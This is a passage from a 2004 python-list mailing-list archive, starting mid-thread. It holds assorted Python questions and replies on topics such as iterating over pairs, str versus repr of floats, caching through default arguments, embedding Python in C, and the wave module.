withdraw > return self.balance > > (formal code) > from account1a import Account > from datetime import date > > now = date.today() > > a = Account() > > bal = input("Enter amount of starting balance: $") > dpst = input("Enter amount of deposit: $") > wdrw = input("Enter amount of withdrawal: $") > > print "As of",now,"balance is $",a.getbalance() > > > Appreciate all the assistance I might get. > > > > > > > > "Larry Bates" <lbates at swamisoft.com> wrote in message news:<oKKdnUmLvus3j6PcRVn-gQ at comcast.com>... > > You really should post what you have tried and > > any traceback error messages of things that didn't > > work. A little background explanation of what you > > are trying to do would also be nice. It's impossible > > for us to venture a guess as to what you might be > > doing wrong or to suggest a methodology without this > > information. > > > > Regards, > > Larry Bates > > Syscon, Inc. > > > > "Crypt Keeper" <crypt_keeper at rome.com> wrote in message > > news:29179565.0409071136.4147591f at posting.google.com... > > > I am trying to write a program that asks user for several input items, > > > then takes those items into a class that will manipulate the data and > > > then return a line of output. I am able to input the reuired > > > information, but it's the in-class processing and output line that > > > keeps messing up somehow. I have tried tinkering and tweaking but with > > > no success. > > > > > > How can I take data from the user, manipulate it through a class of > > > steps and then output it all into a line of output? > > > > > > Thanks!! From ptmcg at austin.rr._bogus_.com Sat Sep 4 11:44:38 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sat, 04 Sep 2004 15:44:38 GMT Subject: A couple of Python 'Features' References: <6f402501.0409040202.26cd7a30@posting.google.com> Message-ID: <Gpl_c.14407$Dl4.9083@fe2.texas.rr.com> "Michael Foord" <fuzzyman at gmail.com> wrote in message news:6f402501.0409040202.26cd7a30 at posting.google.com... > I've come across a couple of 'features' in Python standard libraries - > and I'm not sure if they're meant to be there... or if they're bugs... > > One in urllib2 and one in cgi. > > >>> from urllib2 import urlopen > >>> a = urlopen('http://www.voidspace.org.uk') > >>> i = a.info() > >>> for entry in i: print entry > Traceback (most recent call last): > File "<pyshell#11>", line 1, in -toplevel- > for entry in i: print entry > File "D:\PYTHON23\lib\rfc822.py", line 390, in __getitem__ > return self.dict[name.lower()] > AttributeError: 'int' object has no attribute 'lower' > > and in cgi (a result that happens in live CGI as well as interactive > sessions....) : > > >>> import cgi > >>> a = cgi.FieldStorage() > >>> for entry in a: print entry > > Traceback (most recent call last): > File "<pyshell#3>", line 1, in ? > for entry in a: print entry > File "C:\PYTHON22\lib\cgi.py", line 550, in __getitem_ > raise KeyError, > keyKeyError: 0 > >>> > > You can get round the cgi bug because : > for entry in a.keys(): print entry > works fine - but it's a bit annoying. > > (Admittedly my server has python 2.2, but the urllib2 bug occurs in > Python 2.3.4 as well I think). > > Regards, > > > Fuzzy > > http://www.voidspace.org.uk/atlantibots/pythonutils.html The urllib2 problem looks like a clone of one mentioned earlier in the email module, which I looked into and reported as bug 1017329. You could add your example to that, or open a new bug report. But the two should be linked somehow, as they have the same failure mode, and very likely the same resolution. Looking briefly at the cgi module also shows a similar implementation gap, but I see that FieldStorage implements __iter__, which I thought would be used in "for entry in a" type iteration, and that failing the existence of __iter__, then __len__ would be tried with successive calls to __getitem__ from 0 to len-1. What *is* the order of resolution for iterating over a sequence? (1015249 was also recently submitted, to address problems with FieldStorage's __len__ function, should also be linked.) -- Paul From roo at try-removing-this.darkboong.demon.co.uk Thu Sep 2 15:28:16 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Thu, 02 Sep 2004 20:28:16 +0100 Subject: Xah Lee's Unixism In-Reply-To: <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> <opsdpprvxppqzri1@mjolner.upc.no> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> Message-ID: <1094153294.416994@teapot.planet.gong> Alan Balmer wrote: > Huh? Linux is only recently paying some attention to the POSIX > standards. I don't know the current level of compliance, though I'm Nah, that's been going on since at least 1994 when I installed it. > pretty sure that some parts of POSIX.4 have been implemented. God only knows, as long as it works I'm not complaining. :) Cheers, Rupert From miki.tebeka at zoran.com Thu Sep 9 03:28:06 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Thu, 9 Sep 2004 09:28:06 +0200 Subject: Python Enviroment Variables In-Reply-To: <82880e86.0409082135.600f9cd@posting.google.com> References: <82880e86.0409082135.600f9cd@posting.google.com> Message-ID: <20040909072806.GG2804@zoran.com> Hello Ruchika, > How can i get/set environment variables in Python? I am trying to run > Perforce commands from Python script but am unsuccesful. Want to make > sure that Perforce is in the path. How can I get/set the > Environment/Path variables from within the script? http://docs.python.org/lib/os-procinfo.html Reading the documentation is helpful ;-) Bye. -- ------------------------------------------------------------------------ Miki Tebeka <miki.tebeka at zoran.com> http://tebeka.spymac.net The only difference between children and adults is the price of the toys From joachim at ee.ucla.edu Thu Sep 30 19:18:44 2004 From: joachim at ee.ucla.edu (Joachim Dahl) Date: Thu, 30 Sep 2004 16:18:44 -0700 Subject: python latex class and math environment Message-ID: <415C9454.40805@ee.ucla.edu> I have the exact same problem, and I think it's caused by mkhowto. When I try to compile the docs using latex directly it seems to work (but of course then other things break). I may seem like a small bug, but it's a big deal if you're writing documentation for scientific software. From ialbert at mailblocks.com Fri Sep 17 13:30:15 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 17 Sep 2004 13:30:15 -0400 Subject: Python Webstart ? In-Reply-To: <c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com> References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <pan.2004.09.17.13.52.16.705912@thomas-guettler.de> <c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com> Message-ID: <O7OdncbCX_O7gtbcRVn-vQ@giganews.com> John Fabiani wrote: > Actually it's very useful. In the Java world you can set a central location > that a webstart program checks for possible updates. It's very cool. Only that it doesn't really work in practice. Read more here: http://www.dynamicobjects.com/d2r/archives/2004_07_09.html Istvan From peter at engcorp.com Fri Sep 24 07:12:42 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 07:12:42 -0400 Subject: Why not FP for Money? In-Reply-To: <7xpt4c3v3w.fsf@ruckus.brouhaha.com> References: <cc887c1d.0409202325.76ec2227@posting.google.com> <10l0lpt9n0n5k9c@news.supernews.com> <ad052e5c.0409211611.7e4411e@posting.google.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> <mailman.3721.1095866067.5135.python-list@python.org> <cc887c1d.0409222103.388c40de@posting.google.com> <mailman.3775.1095939700.5135.python-list@python.org> <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1> <mailman.3781.1095942759.5135.python-list@python.org> <civ705$4kl$1@panix1.panix.com> <mailman.3809.1095967700.5135.python-list@python.org> <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> <7xk6ukw149.fsf@ruckus.brouhaha.com> <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com> <7xpt4c3v3w.fsf@ruckus.brouhaha.com> Message-ID: <pbadnZbDHOi2nMncRVn-jg@powergate.ca> Paul Rubin wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > >>yep, str(35.72) == '35.72'. > > > Hmm. > > >>> 35.72 > 35.719999999999999 > > I wonder why str(35.72) is different from repr(35.72). Because "str( [object]) Return a string containing a nicely printable representation of an object" contains the key phrase "nicely printable"? -Peter From steven.bethard at gmail.com Tue Sep 28 17:57:57 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 28 Sep 2004 15:57:57 -0600 Subject: all pairs of items in a list without indexing? In-Reply-To: <Pine.LNX.4.44.0409282255250.14797-100000@pingu.thwackety.com> References: <d11dcfba04092813343e99fff6@mail.gmail.com> <Pine.LNX.4.44.0409282255250.14797-100000@pingu.thwackety.com> Message-ID: <d11dcfba04092814574b5fee37@mail.gmail.com> On Tue, 28 Sep 2004 23:01:58 +0100 (BST), Michael Sparks wrote: > So let's just write pairs: > > def pairs(l): > x=iter(l) > while 1: > yield x.next(),x.next() This generates all *successive* pairs. I need *all* pairs. >>> l = range(4) >>> for i in range(len(l)): ... for j in range(i+1, len(l)): ... print (l[i], l[j]) ... (0, 1) (0, 2) (0, 3) (1, 2) (1, 3) (2, 3) >>> def pairs(l): ... x = iter(l) ... while True: ... yield x.next(), x.next() ... >>> for item1, item2 in pairs(l): ... print (item1, item2) ... (0, 1) (2, 3) Hope that clarifies the problem. Steve -- You can wordify anything if you just verb it. - Bucky Katt, Get Fuzzy From aberlu at hotmail.com Fri Sep 17 05:30:58 2004 From: aberlu at hotmail.com (Ana Berlusconi) Date: 17 Sep 2004 02:30:58 -0700 Subject: VBScript does exactly what you want Message-ID: <2d8097ee.0409170130.448cd351@posting.google.com> Assuming you're working on Windows, VB/VBScript is the way to go - the entire MS Office suite has been built around this paradigm, and use VBScript very successfully for macro handling. Regards, Ana From robin at wiretooth.com Thu Sep 2 14:33:20 2004 From: robin at wiretooth.com (Robin Bryce) Date: Thu, 02 Sep 2004 19:33:20 +0100 Subject: using generators for event handling in python. Message-ID: <1094150000.7156.9.camel@localhost.localdomain> Hi, I've been looking at generators from the context of event oriented web application development. I was thinking of submitting a version of http://www.wiretooth.com/eventhub_recipe.html as a recipe for the python cookbook. I'd really appreciate any comments people have on it. Thanks, Robin Bryce. From alexander.hoffmann at netgenius.de Mon Sep 6 08:57:50 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Mon, 6 Sep 2004 14:57:50 +0200 Subject: python memory analysis Message-ID: <200409061457.50722.alexander.hoffmann@netgenius.de> Hello, I wrote a deamon like program in python and after a while I realized that it consumes more and more memory over time. So my question is: How to debug memory leaks in python ? Of course I found the built-in profiler but it only helps to make performance analysis. Is there a way (or a tools) to view all the instances that are kept im memory by the interpreter ? Thanks a lot, Alex From bgabriel at cloudthunder.com Thu Sep 30 16:28:58 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Thu, 30 Sep 2004 16:28:58 -0400 Subject: Social Analysis & Modeling with Python - Final Message-ID: <415C6C8A.9020107@cloudthunder.com> Final Version: http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf From sergio.lobo at supportdrive.com Tue Sep 21 13:00:55 2004 From: sergio.lobo at supportdrive.com (Sergio Lobo) Date: Tue, 21 Sep 2004 17:00:55 GMT Subject: Python in client side web applications Message-ID: <b7Z3d.300693$vG5.71081@news.chello.at> Hello Everyone, Does any of you have experience using Python for the development of client side web applications? I found a Web Browser that comes with Python to provide embedding. I gave it a try but I would like to know if some of you have tried it as well or have tried some other tool. Kind regards, Sergio Lobo PS.: The url for that python based browser is www.browser1.com From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 9 09:16:21 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Thu, 9 Sep 2004 15:16:21 +0200 Subject: Is it an error in email.Header? References: <mailman.3086.1094726494.5135.python-list@python.org> Message-ID: <chpl46$vkn$1@news-reader1.wanadoo.fr> Hi ! decode_header not work for all cases of e-mails. Use try, and, if except, try other decode fonction (utf-8, cp1252, etc.) Then an header can to have more differents codages. Try to decompose the item, and to decode each element. The elements are often separate with =? and ?= *sorry for my bad english* Michel Claveau From pmaupin at speakeasy.net Tue Sep 28 22:48:46 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 28 Sep 2004 19:48:46 -0700 Subject: all pairs of items in a list without indexing? References: <mailman.4028.1096403649.5135.python-list@python.org> Message-ID: <653b7547.0409281848.63d533db@posting.google.com> Steven Bethard <steven.bethard at gmail.com> wrote : > So I need to do something like: > > for i in range(len(l)): > for j in range(i+1, len(l)): > # do something with (l[i], l[j]) ... > Is there any way to do this without indexing As others have pointed out, you can do this without indexing, but it may involve overhead of other sorts (list copies, popping, etc.). I'd just like to point out that, for the problem you are describing (where you want every possible pair, but order doesn't matter), you _can_ make your loop perhaps a bit more readable (depending on the context it is used in), and perhaps a tiny bit faster: for i in range(1,len(mylist)): for j in range(i): # do something with (l[i], l[j]) Regards, Pat From lbates at swamisoft.com Mon Sep 20 11:42:34 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 20 Sep 2004 10:42:34 -0500 Subject: unsigned long to float. References: <cimsoo$e6b$1@gateway.northropgrumman.com> Message-ID: <qv-dnSHFvo30Z9PcRVn-pQ@comcast.com> Use struct.unpack to convert into a float. Larry Bates "kingjames" <jf.davis at ngc.com> wrote in message news:cimsoo$e6b$1 at gateway.northropgrumman.com... >I have a c30 to ieee float converter algorithm that takes binary data from >a > c30, does some bit munipulation and stores the answer (i'm using unsigned > longs for the processing). When I come up with the answer, if I was in C > or > Fortran, I could use either a union or equivalence to see the number in > floating point rather than the representation in unsigned long. I have > found no equivalence in python of union or equvalence. I could take the > unsigned long, write it to a binary file and read it back in as a float. > This would work, accept I do not want the overhead of io. What can I do > to > see this unsigned long as a float? > > Thanks > > From aleaxit at yahoo.com Tue Sep 28 13:12:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 19:12:16 +0200 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <mailman.3834.1096015522.5135.python-list@python.org> <RImdnbz2hMm7v8ncRVn-qg@lmi.net> <cj18jn$47n$1@pegasus.csx.cam.ac.uk> <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> <e9vhl0pheg3tqe1eop84me8ahdgkoq6t3i@4ax.com> Message-ID: <1gku5es.10velnbpabcqeN%aleaxit@yahoo.com> Andrea Griffini <agriff at tin.it> wrote: > On Sun, 26 Sep 2004 10:39:15 +0200, aleaxit at yahoo.com (Alex Martelli) > wrote: > > >vs your apparently implied suggestion of: > > > >def f(x): > > if x in f.cache: ... > >f.cache = [] > > I like more... > > def f(x): > if not hasattr(f,"cache"): > f.cache = [] > ... This means _every_ run of f will be loaded down by this test, just to make everything less concise...?! Horrible trade-off, IMHO. > The best I can think to is something like > > def f(x): > static cache = [] > ... > > In other languages (mostly C) there cases in which I found > nice the idea of a local name for a globally living object. I don't think you stand a snowball's chance in hell to make this horrid change become part of Python (thanks be!) -- I suggest you look at other sort-of-Pythonic languages such as (e.g.) the new Qu, which may be more open to changes of this nature. > >As for 'risky', both approaches are. The default argument risks the > >user mistakenly passing a corresponding actual-argment; the function > >attribute risks the user rebinding the name. > > ? import math def f(x): try: return f.cache[x] except KeyError: f.cache[x] = result = math.sin(x) return result f.cache = {} def g(x): try: return g.cache[x] except KeyError: g.cache[x] = result = math.cos(x) return result g.cache = {} print f(0.2), g(0.2), f(0.2), g(0.3) # note: oops coming f, g = g, f print f(0.2), g(0.2), f(0.2), g(0.3) Basically, the idea of having f use f.cache depends on the unstated assumption that global name 'f' will forevermore refer to the same object it used to refer to at the time f.cache was initialized and the first few entries of f.cache were set. You say you consider it "risky" to use f's default attribute values (which stick to the object, not to the name), and I reply, _THIS_ inferior idiom you advocate is the truly risky one -- it relies on a "fixed" name<->object correspondence which NOTHING in Python guarantees or even suggests. > Passing a parameter to a function that, by the way, is declaring > it *wants* it doesn't seem to me the same as messing with > internals of something from the outside. If you want to hint that a parameter is really 'internal' name it with a leading underscore, that's Python's convention. > >here you get two separate caches, one for base.f and one for derived.f, > >no sweat -- and if you want base.f to use derived.f's cache when call > >from there, just chance the last call to 'base.f(self, x, cache)' -- > >obvious, simple, elementary. > > When you need to mess with the those vars from the "outside" then > it's clear you're not looking for a static; probably you're not > even looking for a function as the interaction with the "state" is > getting too important. IMO in these cases it's *way* better to > use a class instead (may be one implementing the call interface). And go to the huge trouble of simulating method-binding?! Puh-LEEZE. Using callable classes in lieu of a class's ordinary methods, when such methods with perfectly normal Python semantics will do, is just plain silly -- looking for complexity where no need for it exists. > >And good luck in explaining all this to beginners -- while the default > >argument approach is really trivial to explain. Simple is better than > >complex, and a general technique like using default values for caching > >is better than a technique based on attributes which is not general > >enough to be just used everywhere. > > Once reading that default were evaluated at function definition > time was enough for me; and I honestly say that I don't remember > ever falling for this trap of modifiable default values (so far). Good for you -- I did, a couple of times. > However this seems happening quite frequently to novices; actually > *very* frequently. So either all the world is wrong or this very > specific part of the language has a problem. Are you not part of this world, if _ALL_ the world is wrong yet you never had the problem? In my case, the problems were due to previous experience with C++ -- a traumatic rite of passage which fortunately not everybody HAS had to go through. > >_Plus_, teaching this use of default values to beginners helps them > >understand how default values work in all cases. Explaining the dirty > >tricks needed to extend a bit the applicability of using function > >attributes for caching offers no such nice "side advantage". > > Sure there is a plus in clearly understanding that function > definition is an executable statement in python. But using > an unrelated arbitrary fact (that default values are evaluated > at that time instead than at call time) isn't IMO a good example. Nope, that's not what I said. I said, and I repeat (and expand since clearly it wasn't clear to you): learning to use default values for a cache, rather than the no-advantages-whatsoever technique you advocate of using function attributes for the same purpose, besides all other advantages, has the one of firmly fixing the concept that default values are evaluate once, at def time. > >In addition, accessing a local name is of course way faster than > >accessing a global name and then an attribute thereof. > > Yeah, static are slower than necessary; and uglier also. > > May be the direction could be fixing that instead of just > pushing towards an ugly hack that just happens to work. I don't find default values ugly. > >Yes, it helps them a lot to understand, realize, and remember, that > >default values are shared among all of a function's calls. > > That's the wart! So here's our deep disagreement. I would find it an intolerable wart if Python did _anything else_ except evaluate expressions when it meets them, implicitly "saving them away somewhere or other" to be reevaluated over and over AND over again -- in SOME cases (chosen HOW...?!). > >It's simpler and more general. > > To me seems an unrelated side-effect of the decision of > when to evaluate default parameters. I'm not questioning > the decision per se (it has pros and cons... for example > you can't use things like "def foo(x,y,z=x+y)") but that > using fake parameters for static is ugly and error prone. You call the decision "the wart!" and then claim not to be questioning it?! I've seen hypocrisy in my life, but this ridiculous combination sure takes the prize! Alex From peter at engcorp.com Wed Sep 15 17:24:22 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 17:24:22 -0400 Subject: thread specific sys.stdout? In-Reply-To: <ciabc0$seb$00$2@news.t-online.com> References: <opsedyrils6yt6e7@news.cisco.com> <ciabc0$seb$00$2@news.t-online.com> Message-ID: <1M2dnfnUBsOaLtXcRVn-jA@powergate.ca> Diez B. Roggisch wrote: > You could replace sys.stdout by a class that splits the written text > depending on the current thread. It might look roughly like this: > > class ThreadPrinter: > def __init__(self): > _.fhs = {} > > def write(self, value): > f = _.fhs.get(threading.currentThread(), > open(get_some_nice_file_name(), "w") > f.write(value) > _.fhs[threading.currentThread()] = f Have you run this code? It looks to me suspiciously as though it will raise an exception on the second write call in any given thread, as the non-shortcircuiting call to .get() tries to open the nice_file in write mode for a second time. Also, what's "_" supposed to be here? self? -Peter From alicia.haumann at orthodyne.com Wed Sep 1 19:50:46 2004 From: alicia.haumann at orthodyne.com (Alicia Haumann) Date: Wed, 1 Sep 2004 16:50:46 -0700 Subject: Extending/Embedding python Message-ID: <001201c4907e$8025b390$130106c0@engalicia> I accidentally sent this to webmaster at python.org, so this could be a duplicate if "webmaster" forwards it to this list. :{ Hi, there. Thanks for any help that can be offered. I've been working with Python for a year or more now, but only doing simple extending in C/C++. I'm now attempting some embedding and several questions have come to mind. BTW - I'm running Windows 2000 with Python23 and VisualC++ developers studio. 1. (Not extending/embedding related at all) How can I pass in a load/bunch of defines so I can use them over and over again, instead of having to copy them in every *.py script. All my scripts use an "extension" dll that I wrote that require a lot of constants. I looked a lot at that PyMemberDef and Type stuff but didn't get it and don't know if that's the solution anyway. 2. A couple simple examples I've seen for initModule() are written differently. One only calls Py_InitModule("module", module_methods), but the other also calls PyImport_AddModule("module"). What is the difference? What does PyImport_AddModule() accomplish? 3. When embedding Python into my simple application, why can't I pass application parameters? PyRun_SimpleString seems to only take hard-coded values. Can/How can I get around this? My code looks like: if (!Py_IsInitialized()) { Py_Initialize(); } PyRun_SimpleString("import MyModule"); PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', 0x5555)"); PyRun_SimpleString("MyModule.MemoryTest(1, 0, 1)"); PyRun_SimpleString("MyModule.Shutdown()"); Py_Finalize(); But I'd like to pass application variables instead of the hard-coded 1, 0, 1 and 0x5555, such as: int appInt = 0x5555; PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', appInt)"); I know I'm missing something fundamental here. Please advise. Also, is there a mailing list that I should join for this topic? Thank you!!!!!! Alicia. From robin at reportlab.com Fri Sep 3 06:41:28 2004 From: robin at reportlab.com (Robin Becker) Date: Fri, 03 Sep 2004 11:41:28 +0100 Subject: Test the existence of a variable? In-Reply-To: <ch9hhf$4re$1@s5.feed.news.oleane.net> References: <ch9hhf$4re$1@s5.feed.news.oleane.net> Message-ID: <41384A58.8040405@chamonix.reportlab.co.uk> Thierry S. wrote: > Hello. > > I would to test the existence of a variable before to use it (like > isset($myVar) in PHP). > I try using "if myVar: ", but there is the error meesage (naturally): > "NameError: name 'myVar' is not defined" > > Please, could you tell me what for function exist to test the variable with > Python? > > Regards, if globals().has_key('myVar'): .... -- Robin Becker From fuzzyman at gmail.com Fri Sep 17 11:10:45 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 17 Sep 2004 08:10:45 -0700 Subject: Question: processing HTML, re-write default processing action of many tags References: <98ba0902.0409162115.3e2e9ee9@posting.google.com> Message-ID: <6f402501.0409170710.796214ac@posting.google.com> hubert at cs.nyu.edu (Hubert Hung-Hsien Chang) wrote in message news:<98ba0902.0409162115.3e2e9ee9 at posting.google.com>... > I know you could use the > > > def start_a > .... > > def end_a > .... > > to process the <a href=...> anchor </a> tags, but is there a > default method for processing ALL tags? If I just want change > some parts of the hyperlink and want to keep other parts of the HTML > could I just print them out? There should be such a method. > Can't find it... > > Thank you. If you are modifying the contents of tags I've written a simple HTML parser class called Scraper that does this. Unlike the HTMLParser in the standard library it doesn't choke so much on badly formed HTML.... It's part of approx.py my cgiproxy.... http://www.voidspace.org.uk/atlantibots/pythonutils.html#cgiproxy HTH Regards, Fuzzy From jeff at ccvcorp.com Mon Sep 27 17:32:09 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Mon, 27 Sep 2004 14:32:09 -0700 Subject: Metaclass to make all methods of a class thread-safe In-Reply-To: <41586889$0$568$e4fe514c@news.xs4all.nl> References: <415728eb$0$78753$e4fe514c@news.xs4all.nl> <4edc17eb.0409270141.4faf130c@posting.google.com> <41586889$0$568$e4fe514c@news.xs4all.nl> Message-ID: <10lh1j6f6vnkd2e@corp.supernews.com> Irmen de Jong wrote: > > There is one thing though; methods that you're accessing trough the > class's __dict__ (which is what the meta class is doing, right?) > are of type <function>, rathar than <instancemethod> which I expected: > > >>> class A: > ... def meth(self): pass > ... > >>> type(A.meth) > <type 'instancemethod'> > >>> type(A.__dict__['meth']) > <type 'function'> > >>> > > Why is this? I don't know for certain, but it occurs to me that the object returned by A.meth will insert A in front of all other arguments to the method, while the object returned by A.__dict__['meth'] does not do that. Logic seems to suggest that the instancemethod type performs this argument-list-mangling and then passes the results on to the FunctionType object contained in __dict__ -- that is, instancemethod is essentially a function wrapper that provides the standard method-call translations for class instances. Jeff Shannon Technician/Programmer Credit International From dropthis_fanmail at micah-wedemeyer.net Tue Sep 14 10:41:54 2004 From: dropthis_fanmail at micah-wedemeyer.net (Micah) Date: Tue, 14 Sep 2004 10:41:54 -0400 Subject: Popping up the "Open With" dialog window Message-ID: <ci6vvi$cec$1@news-int2.gatech.edu> I know it's possible to use os.startfile() to open/execute a file based on its extension, but when a file is not recognized, I get a WindowsError with Errno 1155. Is there any way (using wxPython) to popup the "Open With" dialog that appears when trying to open an unrecognized file in Windows Explorer? Thanks, Micah -- ================================= Micah Z. Wedemeyer Research Scientist I, ELSYS Georgia Tech Research Institute Atlanta, GA 30332 678.428.1283 ================================= From aleaxit at yahoo.com Fri Sep 17 08:01:48 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 14:01:48 +0200 Subject: Small inconsistency between string.split and "".split References: <mailman.3241.1095094663.5135.python-list@python.org> <LJSdnepvP_vbSdjcRVn-hg@powergate.ca> <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> <864d370904091311095be3e08c@mail.gmail.com> <4146C179.5000404@livinglogic.de> <mailman.3311.1095172226.5135.python-list@python.org> Message-ID: <1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: > Walter, > > On Tue, 14 Sep 2004 12:01:29 +0200, Walter D?rwald > <walter at livinglogic.de> wrote: > > Carlos Ribeiro wrote: > > I've fixed the docstring for both unicode.split() and > > string.split() to give a hint about the None default. Note > > that the docstring for str.split() already *did* mention > > the None option. > > I don't know if you can do it, but isn't easy to modify the split > method to accept maxsplit as a keyword parameter? It would make it Feasible, not hard, not trivial. The problem is different...: kallisti:~/downloads/Python-2.4a3 alex$ find . -name '*.c' | xargs cat | grep -c 'METH_KEYWORDS' 92 kallisti:~/downloads/Python-2.4a3 alex$ find . -name '*.c' | xargs cat | grep -c 'METH_VARARGS' 1272 kallisti:~/downloads/Python-2.4a3 alex$ find . -name '*.c' | xargs cat | grep -c 'METH_' 2429 In other words: throughout the current C sources for Python (across all platforms etc) there are about 2429 specifications of how various functions (methods, of course, include) take their parameters. Of these, about half are METH_VARARGS (400 are METH_NOARGS, i.e.e functions and methods accepting no explicit arguments, and 739 are METH_O, accepting just one), and less than 4% accept keyword-style arguments. Many of those are pretty recent additions, too, and some play special roles which you just couldn't fulfil otherwise (e.g. consider the optional key= vs cmp= arguments that 2.4 accepts for the list.sort method -- they are mutually exclusive...). Having ALL C-coded functions and methods that accept any argument accept keyword-style arguments in particular would surely lead to a more consistent language, once the impact of thousands of modifications to the source stabilizes again -- a slightly bigger and slower interpreter, no doubt, but probably only slightly. But these thousands of changes will require very substantial and disruptive editing -- substantial manpower to perform them all, AND ensure they're all well tested (I suspect the set of unit tests would have to more than double to do a halfway decent job). It would have to be among the major targets of a given Python release, I suspect, and raising enthusiasm for such a job might not be easy, even though Python would be a better language in consequence. Maybe it will be feasible as part of the 3.0 release, which is slated to be incompatible anyway... remove the METH_VARARGS altogether, breaking compatibility with all existing extensions, so EVERY C-coded function in the future, if it takes any argument at all, will HAVE to take them in keyword form, too. Until it's feasible to perform such a sweeping change, justifying changes to ONE specific method of an object which has dozens is going to be pretty hard. Perhaps, if someone volunteered a patch to make ALL methods of string and unicode objects specifically accepts arguments in keyword form as well as positionally, with all the needed tests & docs, in time for Python 2.4's first beta in a couple of weeks, it might be accepted (if separate but similar patches also existed for methods of other built-in types, that would help all of their acceptance chances, IMHO). But a patch to change ONE method out of dozens, I suspect, would be shot down -- the slight, useful extra functionality might be judged to not be worth the increase in inconsistency in this area (which IMHO must, sadly, count as a wart in today's Python, sigh). Alex > consistent with string.split(), and as far as I'm aware, it should not > cause any sizeable performance penalty. But the most important reason > is that keyword parameters for often-unused options make code more > readable; for example, > > mystring.split(maxsplit=2) > > reads better than: > > mystring.,split(None, 2) > > That's my opinion, anyway... From timr at probo.com Tue Sep 28 02:29:21 2004 From: timr at probo.com (Tim Roberts) Date: Mon, 27 Sep 2004 23:29:21 -0700 Subject: wave.readframes() (or conversion?) References: <mailman.3880.1096068030.5135.python-list@python.org> <maocl0hgs9ha25a4441jkdnuppldahmvk8@4ax.com> Message-ID: <r21il0ph5064kojtejlupq1p6b3karr8u2@4ax.com> Tim Roberts <timr at probo.com> wrote: >andrea valle <andrea.valle at unito.it> wrote: >> >>I'm using wave module with success. I'm writing data to wave file. >>Typically I create a list of values (data) and pass it to >>.writeframes(data) methods. >> >>a = wave.open("/test.wav", "w") >>a.writeframes([32000, 0]) > >What version of Python are you using?? On my Win32 Python 2.3, writeframes >accepts only strings, and only after you have set the frame rate, sample >size, and number of channels. For those who may be following this at home, Andrea and I had a private e-mail exchange during which we discovered why HE was able to pass a list of integers to wave.writeframes, while I got an error saying that it had to be a string. Turns out he's using a Mac, which is big-endian. On big-endian systems, wave.writeframes passes its first parameter to array.array, calls byteswap, and uses array.tofile to write it out. array.array accepts a list. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From greg at cosc.canterbury.ac.nz Wed Sep 15 02:20:59 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 15 Sep 2004 18:20:59 +1200 Subject: up with PyGUI! In-Reply-To: <m3vfeg69xp.fsf@g2ctech.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> Message-ID: <2qq5adF133c5kU1@uni-berlin.de> Jorge Godoy wrote: > Indeed... But first, I'm curious about how it looks. I don't > understand why people make GUI projects without any screenshot available > on their own website. How can we see how it looks without downloading, > it? How it looks isn't the point of PyGUI. The point is what the API is like, and you can see that from reading the online docs. There wouldn't be much to see in the screenshots anyway. On a Mac it looks like anything else does on a Mac, and on Linux or Windows it (currently) looks like anything else that uses Gtk. > BTW, I got really interested on the tool used to draw the diagrams on > this page: > http://www.cosc.canterbury.ac.nz/~greg/python_gui/ > version/Doc/ownership.html As far as I can remember, I drew them with Appleworks 6, printed them to PDF files, opened them with Preview and then saved them as jpegs. (Photoshop might also have been involved in there somewhere, I don't recall now.) -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand 